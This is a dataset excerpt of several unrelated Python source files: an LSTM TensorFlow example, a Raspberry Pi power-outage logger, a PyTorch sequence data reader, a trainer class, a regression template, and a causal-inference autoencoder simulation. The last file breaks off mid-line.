,@@@@@@@@./@@[ =@ \t =@ ,@@@@@@@@./@@[ \n ,` =@ =@ ,` =@ =@ ,` \n =@ =@ =@ =@ \n =@ =@ =@ =@ \n =@ =@ =@ =@ \n ,[[[[[[[[[[[[[[[ ,[[[[[[[[[[[[[[[[[[ \n'''\n\nif __name__ == '__main__':\n\tmodel = LSTMRNN(SLIP_TIMES, INPUT_SIZE, OUTPUT_SIZE, CELL_SIZE, BATCH_SIZE)\n\tsess = tf.Session()\n\tmerged = tf.summary.merge_all()\n\twriter = tf.summary.FileWriter(\"logs\", sess.graph)\n\tinit = tf.global_variables_initializer()\n\tsess.run(init)\n\n\tplt.ion()\n\tplt.show()\n\tfor i in range(200):\n\t\tx_data, y_data, x_axis = get_batch()\n\t\tif i == 0:\n\t\t\tfeed_dict = {model.x_data: x_data, model.y_data: y_data}\n\t\telse:\n\t\t\tfeed_dict = {model.x_data: x_data, model.y_data: y_data, model.cell_init_state: state}\n\t\t_, cost, state, prediction = sess.run(fetches = [model.train_op, model.cost, model.cell_final_state, model.prediction], feed_dict = feed_dict)\n\t\t# plotting\n\t\tplt.plot(x_axis[0], y_data[0].flatten(), 'r', x_axis[0], prediction.flatten()[:SLIP_TIMES * INPUT_SIZE], 'b--')\n\t\tplt.ylim((-1.2, 1.2))\n\t\tplt.draw()\n\t\tplt.pause(0.3)\n\t\t\n\t\tif i % 20 == 0:\n\t\t\tprint('cost: ', round(cost, 4))\n\t\t\tresult = sess.run(fetches = merged, feed_dict = feed_dict)\n\t\t\twriter.add_summary(result, i)\n\t\t","sub_path":"Tensorflow/tensorflow_example14(LSTM).py","file_name":"tensorflow_example14(LSTM).py","file_ext":"py","file_size_in_byte":9038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"243784576","text":"import time, datetime\nfrom RasAsiVer1.Gmail_Packeg.Send import send, log\n\n\n\ndef func1(t_stop):\n print(time.ctime())\n while not t_stop.is_set():\n print(r'*\\|/_________Записано_________\\|/*')\n print(f' {datetime.datetime.now()}')\n with open('/home/pi/Documents/logFileTime', 'w') as LF:\n LF.write(str(time.time()))\n print(r'./|\\_________Записано_________/|\\.', '\\n')\n time.sleep(60)\n\n\ndef electricity_monitoringFunction(t_stop):\n try:\n with open('/home/pi/Documents/logFileTime', 'r') as LF:\n line1 = float(LF.readline())\n time.sleep(180)\n stopTime = datetime.timedelta(seconds=int(time.time() - line1 - 180))\n print(f'\\nВремя простоя - {stopTime}')\n with open('/home/pi/Documents/StopTime', 'a') as LF1:\n '''Если есть вторая строка в лог файле (*user stop*), то:'''\n cTime = datetime.datetime.now()\n formTime = cTime - datetime.timedelta(microseconds=cTime.microsecond)\n if LF.readline():\n LF1.write(f'Дата - {formTime} Время простоя - {str(stopTime)} *user stop*\\n')\n else:\n LF1.write(f'Дата - {formTime} Время простоя - {str(stopTime)}\\n')\n\n send(topic=f'Электричество - {time.ctime()}', message=log('/home/pi/Documents/StopTime'))\n\n except:\n print('except1')\n func1(t_stop)\n\n func1(t_stop)\n\n\ndef userDirectiv():\n with open('/home/pi/Documents/logFileTime', 'w') as LF:\n LF.write(str(time.time())+'\\nuser stop')\n\n\nif __name__ != '__main__':\n print(f'ЗАПУСК МОДУЛЯ - {__name__}')\nelse:\n print('ВЫ ТЕСТИРУЕТЕ МОДУЛЬ')\n \"\"\"необходима передача аргумента Event из модуля threading\"\"\"\n","sub_path":"RasAsiVer1/Time_Packeg/electricity_monitoring.py","file_name":"electricity_monitoring.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"349294199","text":"from Bio.SeqRecord import SeqRecord\nimport torch\nfrom torch.utils.data import DataLoader, Dataset ,random_split,IterableDataset\nfrom sklearn.model_selection import KFold,train_test_split\nfrom Bio import SeqIO\nimport numpy as np\nimport pandas as pd\nimport copy\nimport os\nimport sys\nimport json\nfrom torch import nn\nfrom .bucket_sampler import Bucket_Sampler\nsys.path.append(os.path.dirname(os.path.dirname(__file__)))\nfrom utils import Seq_one_hot,read_UTR_csv,read_label\n\nglobal script_dir\nglobal data_dir\n\nwith open(os.path.join(os.path.dirname(os.path.dirname(__file__)),\"machine_configure.json\"),'r') as f:\n config = json.load(f)\n\nscript_dir = config['script_dir']\ndata_dir = config['data_dir']\n\ndef one_hot(seq,complementary=False):\n \"\"\"\n one_hot encoding on sequence\n complementary: encode nucleatide into complementary one\n \"\"\"\n # setting\n seq = list(seq.replace(\"U\",\"T\"))\n seq_len = len(seq)\n complementary = -1 if complementary else 1\n # compose dict\n keys = ['A', 'C', 'G', 'T'][::complementary]\n oh_dict = {keys[i]:i for i in range(4)}\n # array\n oh_array = np.zeros((seq_len,4))\n for i,C in enumerate(seq):\n try:\n oh_array[i,oh_dict[C]]=1\n except:\n continue # for nucleotide that are not in A C G T   \n return oh_array \n\ndef read_bpseq(test_bpseq_path):\n \"\"\"\n read bpseq file, extract sequence and ptable\n \"\"\"\n with open(test_bpseq_path,'r') as f:\n test_bpseq = f.readlines()\n f.close()\n\n for i in range(8):\n if test_bpseq[i].startswith('1'):\n start_index = i \n\n bp_seq = test_bpseq[start_index:]\n\n seq = ''.join([line.strip().split(\" \")[1] for line in bp_seq])\n ptable = [int(line.strip().split(\" \")[2]) for line in bp_seq]\n\n assert len(ptable) == int(bp_seq[-1].split(\" \")[0])\n\n return seq,ptable\n\ndef pad_zeros(X,pad_to):\n \"\"\"\n zero padding at the right end of the sequence\n \"\"\"\n if pad_to == 0:\n pad_to = 8*(X.shape[0]//8 + 1) + 1\n gap = pad_to - X.shape[0]\n \n # here we change to padding ahead , previously nn.ZeroPad2d([0,0,0,gap])\n pad_fn = nn.ZeroPad2d([0,0,gap,0]) # (padding_left , padding_right , padding_top , padding_bottom )\n # gap_array = np.zeros()\n if not isinstance(X, torch.Tensor):\n X = torch.tensor(X)\n X_padded = pad_fn(X)\n return X_padded\n\ndef pack_seq(ds_zls:list,pad_to:int):\n X_ts = [X for X,Y in ds_zls]\n if pad_to == 0:\n max_len = np.max([X.shape[0] for X in X_ts])\n pad_to = (max_len//8+1)*8 +1\n \n X_packed = torch.stack([pad_zeros(X=x,pad_to=pad_to) for x in X_ts])\n Y_packed = torch.tensor([Y for X,Y in ds_zls])\n \n return X_packed , Y_packed\n\n\n\nclass mask_reader(Dataset):\n def __init__(self,npy_path):\n \"\"\"\n read the mask A549 sequence and with real sequence\n \"\"\"\n self.data_set = np.load(npy_path)\n self.X = self.data_set[:,0]\n self.Y = self.data_set[:,1]\n \n def __len__(self):\n return self.X.shape[0]\n \n def __getitem__(self,index):\n return (self.X[index,:,:],self.Y[index,:,:])\n\nclass mix_dataset(Dataset):\n def __init__(self):\n # dataset_ls = [mask_reader(os.path.join(data_dir,'mix_data',\"mix_%s.npy\"%set)) for set in ['train','val','test']]\n raise ValueError(\"the dataset is not defined\")\n\nclass mask_dataset(Dataset):\n def __init__(self):\n raise ValueError(\"the dataset is not defined\")\n\nclass ribo_dataset(Dataset):\n \n def __init__(self,DF,pad_to,trunc_len=50,seq_col='utr',aux_columns='TE_count',other_input_columns=None):\n \"\"\"\n Dataset to trancate sequence and return in one-hot encoding way\n `dataset(DF,pad_to,trunc_len=50,seq_col='utr')`\n ...DF: the dataframe contain sequence and its meta-info\n ...pad_to: final size of the output tensor\n ...trunc_len: maximum sequence to retain. number of nt preceding AUG\n ...seq_col : which col of the DF contain sequence to convert\n \"\"\"\n DF[seq_col] = DF[seq_col].astype(str)\n self.df = DF\n self.pad_to = pad_to\n self.trunc_len = 0 if trunc_len is None else trunc_len\n \n # X and Y\n self.seqs = self.df.loc[:,seq_col].values\n self.other_input_columns = other_input_columns\n self.Y = self.df.loc[:,aux_columns].values\n \n def __len__(self):\n return self.df.shape[0]\n \n def __getitem__(self,i):\n seq = self.seqs[i]\n x_padded = self.seq_chunk_N_oh(seq)\n input = x_padded\n if self.other_input_columns is not None:\n input = [x_padded]\n for col in self.other_input_columns:\n input.append(self.df.loc[:,col].values[i]) \n y = self.Y[i]\n return input,y\n \n def seq_chunk_N_oh(self,seq):\n \"\"\"\n truncate the sequence and encode in one hot\n \"\"\"\n if (len(seq) > self.trunc_len)&(self.trunc_len >0):\n seq = seq[-1* self.trunc_len:]\n \n X = one_hot(seq)\n X = torch.tensor(X)\n\n # X_padded = pad_zeros(X, self.pad_to)\n \n return X.float()\n \n \nclass MTL_dataset(Dataset):\n def __init__(self,DF,pad_to=100,seq_col='utr',aux_columns=None,other_input_columns=None,trunc_len=None):\n \"\"\"\n the dataset for Multi-task learning, will return sequence in one-hot encoded version, together with some auxilary task label\n arguments:\n ...csv_path: abs path of csv file, column `utr` should be in the csv\n ...pad_to : maximum length of the sequences\n ...columns : list contains what axuslary task label will be \n \"\"\"\n self.pad_to = pad_to\n self.trunc_len = trunc_len\n DF[seq_col] = DF[seq_col].astype(str)\n self.df = DF # read Df\n self.seqs = self.df[seq_col].values # take out all the sequence in DF\n self.columns = aux_columns\n self.other_input_columns = other_input_columns\n \n assert trunc_len == None, \"MTL dataset does not support argument trunc len\"\n \n def __len__(self):\n return self.df.shape[0]\n \n def __getitem__(self,index):\n seq = self.seqs[index] # sequence: str of len 25~100\n \n X = one_hot(seq) # seq_oh : np array, one hot encoding sequence \n # X = pad_zeros(X) # X : torch.tensor , zero padded to 100\n \n if self.columns == None:\n # which means no auxilary label is needed\n item = X,X\n elif (type(self.columns) == list) & (len(self.columns)!=0):\n # return what's in columns\n aux_labels = self.df.loc[:,self.columns].values[index]\n item = X ,aux_labels\n\n if self.other_input_columns is not None:\n input = [X]\n for col in self.other_input_columns:\n input.append(self.df.loc[:,col].values[index]) \n item = input,aux_labels\n\n return item \n\n\nclass FASTA_dataset(MTL_dataset):\n def __init__(self,DF, pad_to,trunc_len, seq_col, aux_columns, other_input_columns):\n super().__init__(DF=DF, pad_to=pad_to, trunc_len=trunc_len, seq_col=seq_col, \n aux_columns=aux_columns, other_input_columns=other_input_columns)\n\ndef get_splited_dataloader(dataset_func, df_ls, ratio:list, batch_size, shuffle, pad_to, seed=42,return_dataset=False):\n \"\"\"\n split the total dataset into train val test, and return in a DataLoader (train_loader,val_loader,test_loader) \n dataset : the defined \n ratio : the ratio of train : val : test\n batch_size : int\n \"\"\"\n\n # determined set-ls\n \n set_ls = [dataset_func(df) for df in df_ls]\n if return_dataset:\n return set_ls\n \n if pad_to == 0 :\n # automatic padding to `8x -1`\n # and we will pad the sequence of similar length with bucket sampler\n col_fn = lambda x: pack_seq(x,0)\n sampler_ls = [{\"batch_sampler\":Bucket_Sampler(df,batch_size=batch_size,drop_last=True),\n \"num_workers\":4,\n \"collate_fn\":col_fn} for df in df_ls]\n # wrap dataset to dataloader\n loader_ls = [DataLoader(subset,**kwargs) for subset,kwargs in zip(set_ls,sampler_ls)]\n else:\n col_fn = lambda x: pack_seq(x,pad_to)\n loaderargs = {\"batch_size\": batch_size,\n \"generator\":torch.Generator().manual_seed(42),\n \"num_workers\":4,\n \"shuffle\":shuffle,\n \"collate_fn\":col_fn}\n # wrap dataset to dataloader\n loader_ls = [DataLoader(subset,**loaderargs) for subset in set_ls]\n \n if len(loader_ls) == 2:\n # a complement of empty test set\n loader_ls.append(None) \n \n return loader_ls\n\ndef split_DF(data_path,split_like_paper,ratio,kfold_cv,kfold_index=None,seed=42):\n \n class _cf_data(object):\n def __init__(self,data_path):\n self.path = data_path\n self.is_fasta = data_path.endswith('.fasta')\n self.__read__()\n \n def __read__(self):\n if self.is_fasta:\n self.data = list(SeqIO.parse(self.path,'fasta'))\n else:\n self.data = pd.read_csv(self.path,low_memory=False)\n \n def __len__(self):\n return len(self.data)\n \n def _slice_(self, indices):\n if isinstance(self.data, list) & self.is_fasta:\n return np.array(self.data)[indices]\n elif isinstance(self.data, pd.DataFrame):\n return self.data.iloc[indices]\n \n \n if kfold_cv == True:\n full_df = pd.read_csv(data_path,low_memory=False)\n # K-fold CV : 8:1:1 for each partition\n df_ls = KFold_df_split(full_df,kfold_index)\n \n elif type(split_like_paper) == list:\n df_ls = [_cf_data(data_path).data for data_path in split_like_paper]\n \n else:\n full_df = _cf_data(data_path)\n # POPEN.ratio will determine train :val :test ratio\n total_len = len(full_df)\n lengths = [int(total_len*sub_ratio) for sub_ratio in ratio[:-1]]\n lengths.append(total_len-sum(lengths)) # make sure the sum of length is the total len\n\n set_ls = random_split(full_df,lengths,generator=torch.Generator().manual_seed(seed)) \n df_ls = [full_df._slice_(subset.indices) for subset in set_ls] # df.iloc [ idx ]\n \n \n return df_ls\n\ndef KFold_df_split(df,K,**kfoldargs):\n \"\"\"\n split the dataset DF in a ratio of 8:1:1 , train:val:test in the framework of K-fold CV \n set random seed = 43\n arguments:\n df : the `pd.DataFrame` object containing all data info\n K : [0,4] , the index of subfold \n \"\"\"\n \n # K-fold partition : n_splits=5\n fold_index = list(KFold(10,shuffle=True,random_state=42).split(df))\n train_val_index, test_index = fold_index[K] \n # the first 4/5 part of it is train set\n \n # index the df\n train_val_df = df.iloc[train_val_index]\n test_df = df.iloc[test_index]\n \n # the remaining 1/5 data will further break into val and test\n train_df, val_df = train_test_split(train_val_df,test_size=0.15,random_state=42)\n \n return [train_df,val_df,test_df] \n \n\ndef get_dataloader(POPEN):\n \"\"\"\n wrapper\n \"\"\"\n \n df_ls = split_DF(POPEN.csv_path,POPEN.split_like_paper,POPEN.train_test_ratio,POPEN.kfold_cv,POPEN.kfold_index,seed=42)\n \n \n DS_Class = eval(POPEN.dataset+\"_dataset\")\n \n dataset_func = lambda x : DS_Class(x,pad_to=POPEN.pad_to,trunc_len=POPEN.trunc_len,\n seq_col=POPEN.seq_col, aux_columns=POPEN.aux_task_columns,\n other_input_columns=POPEN.other_input_columns)\n \n loader_ls = get_splited_dataloader(dataset_func, df_ls,ratio=POPEN.train_test_ratio,\n batch_size=POPEN.batch_size, shuffle=POPEN.shuffle,\n pad_to=POPEN.pad_to, seed=42) # new function\n \n return loader_ls ","sub_path":"models/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":12237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"581310400","text":"class BaseTrainer:\n\n def __init__(self):\n self.test_size = 100\n self.batch_size = 128\n self.learning_rate = 0.0001\n self.hm_epochs = 100\n self.epochs = 1\n self.increment = 200\n self.name = 'BaseTrainer'\n\n def prepare_model(self, model):\n \"\"\"\n create a basic cnn model or reload a model from path if reuse\n \"\"\"\n if model is not None:\n self.load(model)\n else:\n self.model.init()\n self.model.compile(lr=self.learning_rate)\n return self\n\n def fit(self, x_train, y_train, x_test, y_test):\n self.model.fit(x_train, y_train, x_test, y_test, self.epochs, self.batch_size)\n return self\n\n def save(self, save2path):\n self.model.save(save2path)\n return self\n\n def load(self, model):\n self.model.load(model)\n return self\n","sub_path":"trainers/base_trainer.py","file_name":"base_trainer.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"47584660","text":"# Regression template\n\n# Libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd \n\n# Importing datasets\ndataset = pd.read_csv('Polynomial_Regression/Position_Salaries.csv')\nX = dataset.iloc[:, 1:2].values\nY = dataset.iloc[:, 2].values\n\n# Splitting the dataset into the Training and Test set\n'''\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2, random_state=0)\n'''\n\n# Feature scaling\n'''\nfrom sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nX_train = sc_X.fit_transform(X_train)\nX_test = sc_X.transform(X_test)\n'''\n\n# Fitting Regression model to the dataset\n\n\n# Predicting using regression\ny_pred = regressor.predict(6.5)\n\n# Visualisation regression results\nplt.scatter(X, Y, color='red') # Source points\nplt.plot(X, regressor.predict(X), color='blue') # Prediction\nplt.title(\"Polynomial Regression results\")\nplt.xlabel(\"Position level\")\nplt.ylabel(\"Salary\")\n#plt.show()\n\n# Visualisation regression results - higher resolution\nX_grid = np.arange(min(X), max(X), 0.1)\nX_grid = X_grid.reshape((len(X_grid), 1))\nplt.scatter(X, Y, color='red') # Source points\nplt.plot(X_grid, regressor.predict(X_grid), color='blue') # Prediction\nplt.title(\"Polynomial Regression results\")\nplt.xlabel(\"Position level\")\nplt.ylabel(\"Salary\")\n#plt.show()","sub_path":"regression_template.py","file_name":"regression_template.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"515730612","text":"\r\n\r\n\r\n\r\n\r\n#%% Loading packages and data\r\n\r\nimport numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nfrom torch.utils.data import DataLoader\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LinearRegression, LogisticRegression\r\nfrom sklearn.preprocessing import StandardScaler\r\nimport math\r\n\r\n#%% Simulation data (one patient)\r\n\r\n# Setting - time series: \r\n# Outcome: Y (one-demensional outcome first considered)\r\n# Treatments: A_vec = [a1, ..., ak] \r\n# Observed covariates: X_vec = [x1, ..., xp]\r\n# Hidden confounders: L_vec = [l1, ..., lr]\r\n\r\n# Simulation setup:\r\n# l_(t,j) = f_l( l_(t-i,j), a_(t-i,u) ) for i = 1,...,h (lag h), j = 1,...,r and u = 1,...,k\r\n# x_(t,d) = f_d( l_(t,j) ) for d = 1,...,p and j = 1,...,r\r\n# a_(t,s) = f_s( l_(t,j) ) for j = 1,...,r \r\n\r\n# y_(t) = f_y( l_(t+1-i,j), a_(t+1-i,u) ) for i = 1,...,h (lag h), j = 1,...,r and u = 1,...,k \r\n\r\n# Parameters\r\nnp.random.seed(1); gamma = 0\r\nn = 1000; T = 30; p = 20; r = 5; h = 3; k = 2; p_N = 5; burn = 10; tau = 5\r\ndef noise(s,sd):\r\n return np.random.normal(loc=0, scale=sd, size=s)\r\ndef logit(x):\r\n return 1/(1 + np.exp(-x))\r\n\r\n# Coefficients\r\nll_coefs = np.random.normal(loc=0, scale=0.5, size=(r,h)) \r\nla_coefs = np.empty(shape=(r,k,h))\r\nfor i in range(h):\r\n for j in range(r):\r\n la_coefs[j,:,i] = np.random.normal(loc=1-((h-i)/h), scale=(1/h)**2, size=k)\r\n \r\nxl_coefs = np.random.normal(loc=0, scale=1, size=(p,r))\r\n\r\nya_coefs = np.empty(shape=(1,k,h))\r\nfor i in range(h):\r\n ya_coefs[0,:,i] = np.random.normal(loc=1-((h-i)/h), scale=(1/h)**2, size=k) \r\n \r\n# Initialize \r\nL = np.random.normal(loc=0, scale=0.1, size=(n,r,T+h+burn))\r\nX = np.random.normal(loc=0, scale=0.1, size=(n,p,T+h+burn))\r\nA = np.round(np.random.random(size=(n,k,T+h+burn)))\r\nY = np.random.normal(loc=0, scale=0.1, size=(n,T+h+burn))\r\n\r\nL_cf = np.empty(shape=(n,r,T+h+burn))\r\nX_cf = np.empty(shape=(n,p,T+h+burn))\r\nA_cf = np.empty(shape=(n,k,T+h+burn))\r\nY_cf = np.empty(shape=(n,T+h+burn))\r\n\r\n# Simulate data with potential outcomes\r\n\r\npo_error_l = noise((n,tau,r), 0.1)\r\npo_error_x = noise((n,tau,p), p_N)\r\n\r\nfor pat in range(n):\r\n \r\n for j in range(h,T+h+burn-tau): \r\n \r\n for i in range(r):\r\n L[pat, i, j] = (1/h)*np.dot(ll_coefs[i,:], L[pat,i,(j-h):j]) + noise(1,0.1)\r\n for l in range(k):\r\n L[pat, i, j] += (1/h)*np.dot(la_coefs[i,l], A[pat,l,(j-h):j])\r\n \r\n for i in range(p):\r\n X[pat, i, j] = np.dot(xl_coefs[i,:], L[pat,:,j]) + noise(1,p_N)\r\n \r\n for i in range(k):\r\n prob = (1-gamma)*(1/h)*np.mean(A[pat,:,j-1])\r\n prob += gamma*np.mean(L[pat,:,j]) \r\n prob = logit(prob)\r\n if prob > np.random.random():\r\n A[pat, i, j] = 1\r\n \r\n Y[pat, j] += gamma*np.mean(L[pat,:,j]) \r\n for l in range(k):\r\n Y[pat, j] += (1-gamma)*(1/h)*np.dot(ya_coefs[0,l], A[pat,l,(j-h+1):(j+1)])\r\n \r\n for j in range(T+h+burn-tau,T+h+burn): \r\n \r\n for i in range(r):\r\n L[pat, i, j] = (1/h)*np.dot(ll_coefs[i,:], L[pat,i,(j-h):j]) + po_error_l[pat,j-(T+h+burn-tau),i]\r\n for l in range(k):\r\n L[pat, i, j] += (1/h)*np.dot(la_coefs[i,l], A[pat,l,(j-h):j])\r\n \r\n for i in range(p):\r\n X[pat, i, j] = np.dot(xl_coefs[i,:], L[pat,:,j]) + po_error_x[pat,j-(T+h+burn-tau),i]\r\n \r\n for i in range(k):\r\n prob = (1-gamma)*(1/h)*np.mean(A[pat,:,j-1]) \r\n prob += gamma*np.mean(L[pat,:,j]) \r\n prob = logit(prob)\r\n if prob > np.random.random():\r\n A[pat, i, j] = 1\r\n \r\n Y[pat, j] += gamma*np.mean(L[pat,:,j]) \r\n for l in range(k):\r\n Y[pat, j] += (1-gamma)*(1/h)*np.dot(ya_coefs[0,l], A[pat,l,(j-h+1):(j+1)])\r\n\r\n Y_cf[pat,:] = Y[pat,:]\r\n L_cf[pat,:,:] = L[pat,:,:]\r\n X_cf[pat,:,:] = X[pat,:,:]\r\n A_cf[pat,:,:] = A[pat,:,:]\r\n\r\n for j in range(T+h+burn-tau,T+h+burn): \r\n \r\n for i in range(r):\r\n L_cf[pat, i, j] = (1/h)*np.dot(ll_coefs[i,:], L_cf[pat,i,(j-h):j]) + po_error_l[pat,j-(T+h+burn-tau),i]\r\n for l in range(k):\r\n L_cf[pat, i, j] += (1/h)*np.dot(la_coefs[i,l], A_cf[pat,l,(j-h):j])\r\n \r\n for i in range(p):\r\n X_cf[pat, i, j] = np.dot(xl_coefs[i,:], L_cf[pat,:,j]) + po_error_x[pat,j-(T+h+burn-tau),i]\r\n \r\n for i in range(k):\r\n A_cf[pat, i, j] = np.round(np.random.random())\r\n \r\n Y_cf[pat, j] += gamma*np.mean(L_cf[pat,:,j]) \r\n for l in range(k):\r\n Y_cf[pat, j] += (1-gamma)*(1/h)*np.dot(ya_coefs[0,l], A_cf[pat,l,(j-h+1):(j+1)]) \r\n\r\n# Data observed\r\ndata = np.empty(shape=(n,T,r+p+k+1))\r\nfor i in range(n):\r\n L_data = L[i,:,(h+burn):]; L_data = L_data.transpose()\r\n X_data = X[i,:,(h+burn):]; X_data = X_data.transpose()\r\n A_data = A[i,:,(h+burn):]; A_data = A_data.transpose()\r\n Y_data = Y[i,(h+burn):].reshape((T,1))\r\n data[i,:,:] = np.concatenate([Y_data, A_data, L_data, X_data], axis=1)\r\n\r\n# Data counterfactual\r\ndata_cf = np.empty(shape=(n,T,r+p+k+1))\r\nfor i in range(n):\r\n L_data = L_cf[i,:,(h+burn):]; L_data = L_data.transpose()\r\n X_data = X_cf[i,:,(h+burn):]; X_data = X_data.transpose()\r\n A_data = A_cf[i,:,(h+burn):]; A_data = A_data.transpose()\r\n Y_data = Y_cf[i,(h+burn):].reshape((T,1))\r\n data_cf[i,:,:] = np.concatenate([Y_data, A_data, L_data, X_data], axis=1)\r\n\r\n# Data split observed and counterfactual\r\nd_train, d_test = train_test_split(data, test_size=0.1, shuffle=False)\r\n\r\n# Data pre-processing counterfactual\r\nd_train_cf, d_test_cf = train_test_split(data_cf, test_size=0.1, shuffle=False)\r\n\r\n#%% Deconfounding temporal autoencoder\r\n\r\n# Method description:\r\n# LSTM autoencoder for time series data - inferring hidden confounders:\r\n# Loss = Reconstruction: X replication, Outcome: Y prediction, Ignorability: Y[a] ind A | L \r\n\r\n# Device configuration\r\ndevice = torch.device('cuda')\r\n\r\n# Hyperparameters\r\nrank = [0.75*p, 0.5*p, 0.25*p, 0.1*p]; drop = [0, 0.1, 0.2, 0.3]; n_layers = [1, 2, 3]\r\nlr = [0.01, 0.005, 0.001]; alpha = [0, 0.5, 1, 2, 5]; theta = [0, 0.5, 1, 2, 5]\r\nn_epochs = [100, 200]; b_size = [64, 128, 256]\r\nrank = math.ceil(rank[2]); drop = drop[3]; n_layers = n_layers[1]; lr = lr[2]; alpha = alpha[1]; theta = theta[2]\r\nn_epochs = n_epochs[0]; b_size = b_size[1]\r\n\r\n# Data pre-processing \r\ntrain, test = train_test_split(data, test_size=0.1, shuffle=False)\r\ntrain, test = torch.from_numpy(train.astype(np.float32)), torch.from_numpy(test.astype(np.float32))\r\ntrain_loader = DataLoader(dataset=train, batch_size=b_size, shuffle=True)\r\n\r\n# Potential outcomes for treatment\r\na_po = np.empty(shape=(2**k,train.shape[0],T,k))\r\ndef all_comb(length):\r\n return np.array(np.meshgrid(*[[0,1]]*length, indexing='ij')).reshape((length,-1)).transpose()\r\na_comb = all_comb(k)\r\nfor i in range(2**k):\r\n for j in range(train.shape[0]):\r\n for t in range(T):\r\n a_po[i,j,t,:] = a_comb[i]\r\na_po = torch.from_numpy(a_po.astype(np.float32))\r\n\r\n# Model \r\nclass Encoder(nn.Module):\r\n \r\n def __init__(self, input_size, hidden_size1, embed_size, num_layers):\r\n super(Encoder, self).__init__()\r\n self.num_layers = num_layers\r\n self.hidden_size1 = hidden_size1\r\n self.lstm = nn.LSTM(input_size, hidden_size1, num_layers, batch_first=True, dropout=drop)\r\n # -> x needs to be: (batch_size, seq_length, input_size)\r\n self.fc = nn.Linear(hidden_size1, embed_size)\r\n \r\n def forward(self, x):\r\n h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size1).to(device) \r\n c0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size1).to(device) \r\n # x: (batch_size, seq_len, input_size), h0: (num_layers, batch_size, hidden_size1)\r\n\r\n # Forward propagate RNN\r\n out, _ = self.lstm(x, (h0,c0)) \r\n # out: tensor of shape (batch_size, seq_length, hidden_size1) - Outputs are hidden states\r\n \r\n out = self.fc(out)\r\n # out: tensor of shape (batch_size, seq_length, embed_size) \r\n\r\n return out \r\n \r\nclass Decoder(nn.Module):\r\n \r\n def __init__(self, embed_size, hidden_size2, x_size, a_size, y_size, num_layers):\r\n super(Decoder, self).__init__()\r\n self.num_layers = num_layers\r\n self.hidden_size2 = hidden_size2\r\n self.lstm = nn.LSTM(embed_size, hidden_size2, num_layers, batch_first=True, dropout=drop) \r\n self.fcx = nn.Linear(hidden_size2, x_size)\r\n self.fcy = nn.Linear(hidden_size2 + a_size, y_size)\r\n\r\n def forward(self, x, a):\r\n h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size2).to(device) \r\n c0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size2).to(device) \r\n # x: (batch_size, seq_len, embed_size), h0: (num_layers, batch_size, hidden_size2)\r\n\r\n # Forward propagate RNN\r\n out, _ = self.lstm(x, (h0,c0)) \r\n # out: tensor of shape (batch_size, seq_length, hidden_size2) - Outputs are hidden states\r\n \r\n x_out = self.fcx(out)\r\n # out: tensor of shape (batch_size, seq_length, output_size) \r\n\r\n out = torch.cat((out, a), dim=2)\r\n y_out = self.fcy(out)\r\n \r\n return x_out, y_out \r\n\r\nclass DTA(nn.Module):\r\n \r\n def __init__(self, input_size, hidden_size1, embed_size, hidden_size2, x_size, a_size, y_size, num_layers):\r\n super(DTA, self).__init__()\r\n self.encoder = Encoder(input_size, hidden_size1, embed_size, num_layers).to(device)\r\n self.decoder = Decoder(embed_size, hidden_size2, x_size, a_size, y_size, num_layers).to(device)\r\n \r\n def forward(self, x, a, a_po):\r\n conf = self.encoder(x)\r\n x_out, y_out = self.decoder(conf, a)\r\n _, y_po_out = self.decoder(conf, a_po)\r\n return x_out, y_out, y_po_out, conf\r\n\r\nmod_DTA = DTA(input_size=p, hidden_size1=math.ceil((rank+p)/2), embed_size=rank,\r\n hidden_size2=math.ceil((rank+p)/2), x_size=p, a_size=k, y_size=1, num_layers=n_layers).to(device)\r\n\r\ndef obj1(x_data, y_data, x_pred, y_pred, theta):\r\n x_loss = nn.MSELoss()(x_pred, x_data)\r\n y_loss = nn.MSELoss()(y_pred, y_data)\r\n loss = theta*x_loss + y_loss\r\n return loss\r\n\r\ndef obj2(y_po_data, a_data, a_data_lag, l_data, l_data_lag, weights1, weights2, alpha):\r\n T = y_po_data.shape[1]\r\n mat1 = torch.cat((a_data,a_data_lag,l_data,l_data_lag), dim=2)\r\n mat2 = torch.cat((l_data,l_data_lag), dim=2)\r\n mu1 = torch.sum(mat1*weights1, dim=2)\r\n mu2 = torch.sum(mat2*weights2, dim=2)\r\n sd1 = torch.sqrt(torch.mean((y_po_data-mu1)**2, dim=0))\r\n sd2 = torch.sqrt(torch.mean((y_po_data-mu2)**2, dim=0))\r\n KL_dist = (1/T)*torch.sum(torch.log(sd2/sd1) + (sd1**2 + torch.mean((mu1-mu2)**2, dim=0))/(2*sd2**2) - 1/2)\r\n return alpha*KL_dist \r\n \r\noptimizer = torch.optim.Adam(mod_DTA.parameters(), lr=lr) \r\n\r\n# Train the model\r\nfor epoch in range(n_epochs):\r\n for batch in train_loader: \r\n y_data = batch[:,:,0:1]\r\n a_data = batch[:,:,1:(1+k)]\r\n x_data = batch[:,:,(1+k+r):(1+k+r+p)]\r\n y_data = y_data.to(device)\r\n a_data = a_data.to(device)\r\n x_data = x_data.to(device)\r\n # Forward pass\r\n x_out, y_out, y_po_out, conf = mod_DTA(x_data, a_data, a_data)\r\n loss_x = obj1(x_data, y_data, x_out, y_out, theta=theta)\r\n # Backward and optimize\r\n loss_x.backward()\r\n optimizer.step()\r\n optimizer.zero_grad()\r\n for v in range(2**k):\r\n y_data = train[:,:,0:1]\r\n a_data = 